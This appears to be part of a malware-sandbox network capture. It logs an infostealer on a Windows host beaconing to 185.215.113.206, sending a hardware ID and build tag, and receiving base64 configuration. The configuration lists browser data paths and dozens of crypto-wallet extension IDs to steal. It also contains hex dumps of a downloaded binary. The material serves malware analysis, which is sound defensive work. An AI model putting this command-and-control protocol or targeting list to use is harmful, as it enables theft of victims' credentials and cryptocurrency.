Oct 31, 2024 23:38:20.270065069 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 31, 2024 23:38:20.270179987 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 31, 2024 23:38:20.270195007 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 31, 2024 23:38:20.270210028 CET	560	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 31, 2024 23:38:20.270350933 CET	1236	IN	Data Raw: ff ff 00 89 45 f4 0f 84 9e 02 04 00 80 bd 5d ff ff ff 00 8b 45 bc 0f 85 96 02 04 00 8b 18 8d 8d 54 ff ff ff e8 70 02 00 00 8b 85 58 ff ff ff 89 45 bc 8b 45 f4 85 c0 0f 88 92 04 04 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 Data Ascii: E]ETpXEE;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}
Oct 31, 2024 23:38:20.270365953 CET	1236	IN	Data Raw: 08 b3 01 8b 4d f8 89 0c b8 8b 46 08 8b 4d f4 89 4c b8 04 eb d6 55 8b ec 83 e4 f8 b8 2c 00 02 00 e8 0e f5 03 00 53 56 57 8d 4c 24 28 e8 13 7f 00 00 8d 44 24 38 33 db 50 68 ff 7f 00 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 Data Ascii: MFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhM
Oct 31, 2024 23:38:20.270380974 CET	1236	IN	Data Raw: 69 00 00 68 74 ca 49 00 8d 4d d0 c7 45 e0 00 01 00 00 89 5d e8 c7 45 ec 01 00 00 00 e8 a1 6d 00 00 53 53 8d 45 e0 50 8d 45 d0 50 e8 fa 78 00 00 8d 4d d0 89 45 0c e8 63 69 00 00 8d 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 Data Ascii: ihtIME]EmSSEPEPxMEciMluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9M
Oct 31, 2024 23:38:20.270489931 CET	1236	IN	Data Raw: c3 55 8b ec 56 57 8b f9 33 f6 46 8b 4f 0c 8b 01 3b c6 0f 8f de fc 03 00 51 ff 75 08 8b cf e8 06 00 00 00 5f 5e 5d c2 04 00 55 8b ec 53 56 57 ff 75 08 8b f1 e8 65 15 02 00 59 8b 4e 0c 33 db 8b f8 43 8b 01 3b c3 0f 8f 0c fd 03 00 8b 46 04 8b ce 03 Data Ascii: UVW3FO;Qu_^]USVWueYN3C;FPiq?PFuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI
Oct 31, 2024 23:38:20.275136948 CET	1236	IN	Data Raw: a1 ec 13 4d 00 89 86 b0 01 00 00 8d 9e a0 01 00 00 53 8d be 9c 01 00 00 57 e8 5b 09 00 00 a1 8c 13 4d 00 83 64 24 24 00 89 44 24 14 8b 46 40 c7 44 24 18 01 00 00 00 c7 44 24 1c 03 00 00 00 c7 44 24 20 01 04 00 00 85 c0 0f 85 71 fa 03 00 8b 86 98 Data Ascii: MSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U=hMVhL$#)=gM93fD$D$PL$1=eMM~`'hM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49876	185.215.113.206	80	7520	C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:19.812272072 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 23:38:20.886955023 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 23:38:20.894006968 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 43 42 31 44 46 37 31 39 34 43 32 38 31 37 30 31 38 37 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="hwid"42CB1DF7194C2817018708------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="build"tale------JDAKJJDBGCAKKFHIJEGH--
Oct 31, 2024 23:38:21.187001944 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6a 41 7a 4d 54 4d 35 4d 7a 68 69 4d 54 4e 69 4d 57 59 7a 4d 6a 56 68 4d 7a 51 33 4d 6d 45 34 4f 44 6b 34 4e 54 55 35 4f 44 4d 7a 59 7a 68 69 4d 54 4a 6b 4e 6d 55 34 59 57 49 31 4e 47 4a 69 4e 57 56 6b 59 32 4a 69 59 57 56 6c 5a 54 51 78 4e 7a 59 30 5a 6a 59 77 4e 7a 52 6b 4e 47 59 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YjAzMTM5MzhiMTNiMWYzMjVhMzQ3MmE4ODk4NTU5ODMzYzhiMTJkNmU4YWI1NGJiNWVkY2JiYWVlZTQxNzY0ZjYwNzRkNGYwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 31, 2024 23:38:21.188225985 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 33 31 33 39 33 38 62 31 33 62 31 66 33 32 35 61 33 34 37 32 61 38 38 39 38 35 35 39 38 33 33 63 38 62 31 32 64 36 65 38 61 62 35 34 62 62 35 65 64 63 62 62 61 65 65 65 34 31 37 36 34 66 36 30 37 34 64 34 66 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="token"b0313938b13b1f325a3472a8898559833c8b12d6e8ab54bb5edcbbaeee41764f6074d4f0------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="message"browsers------BKEHDGDGHCBGCAKFIIIE--
Oct 31, 2024 23:38:21.485272884 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 31, 2024 23:38:21.485650063 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 31, 2024 23:38:21.550457954 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 33 31 33 39 33 38 62 31 33 62 31 66 33 32 35 61 33 34 37 32 61 38 38 39 38 35 35 39 38 33 33 63 38 62 31 32 64 36 65 38 61 62 35 34 62 62 35 65 64 63 62 62 61 65 65 65 34 31 37 36 34 66 36 30 37 34 64 34 66 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 2d 2d 0d 0a Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"b0313938b13b1f325a3472a8898559833c8b12d6e8ab54bb5edcbbaeee41764f6074d4f0------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="message"plugins------AFIEGIECGCBKFIEBGCAA--
Oct 31, 2024 23:38:21.830945015 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 31, 2024 23:38:21.831012011 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 31, 2024 23:38:21.831027985 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 31, 2024 23:38:21.831453085 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 31, 2024 23:38:21.831468105 CET	548	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 31, 2024 23:38:21.831482887 CET	1236	IN	Data Raw: 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 Data Ascii: YXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR
Oct 31, 2024 23:38:21.831495047 CET	212	IN	Data Raw: 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 5a 57 52 69 61 6d 6c 76 61 58 Data Ascii: a2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVu
Oct 31, 2024 23:38:21.831511021 CET	404	IN	Data Raw: 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 42 6c 62 6d 74 6d 59 6d 4a 77 62 57 Data Ascii: amxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmt
Oct 31, 2024 23:38:22.022856951 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 33 31 33 39 33 38 62 31 33 62 31 66 33 32 35 61 33 34 37 32 61 38 38 39 38 35 35 39 38 33 33 63 38 62 31 32 64 36 65 38 61 62 35 34 62 62 35 65 64 63 62 62 61 65 65 65 34 31 37 36 34 66 36 30 37 34 64 34 66 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"b0313938b13b1f325a3472a8898559833c8b12d6e8ab54bb5edcbbaeee41764f6074d4f0------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"fplugins------JDAKJJDBGCAKKFHIJEGH--
